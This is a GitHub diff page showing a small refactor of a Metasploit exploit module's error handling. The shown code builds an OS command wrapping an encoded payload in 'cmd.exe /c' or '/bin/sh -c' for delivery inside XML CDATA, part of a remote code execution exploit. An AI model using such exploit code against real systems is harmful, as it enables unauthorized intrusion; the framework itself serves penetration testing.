File tree Expand file tree Collapse file tree 1 file changed +4
-4
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +4
-4
lines changed Original file line number Diff line number Diff line change @@ -124,12 +124,12 @@ def exploit
124124 command = "cmd.exe /c \" #{ payload . encoded } \" "
125125 elsif ( target [ 'Platform' ] == 'linux' ) || ( target [ 'Platform' ] == 'unix' )
126126 command = "/bin/sh -c \" #{ payload . encoded } \" "
127- else
128- fail_with ( Failure ::BadConfig , 'Unsupported target platform' )
129127 end
130128
131- # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
132- if command . include? ']]>'
129+ if command . nil?
130+ fail_with ( Failure ::BadConfig , 'Unsupported target platform' )
131+ elsif command . include? ']]>'
132+ # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
133133 fail_with ( Failure ::BadConfig , 'Payload cannot contain a CDATA closing tag ]]>' )
134134 end
135135
You can’t perform that action at this time.
0 commit comments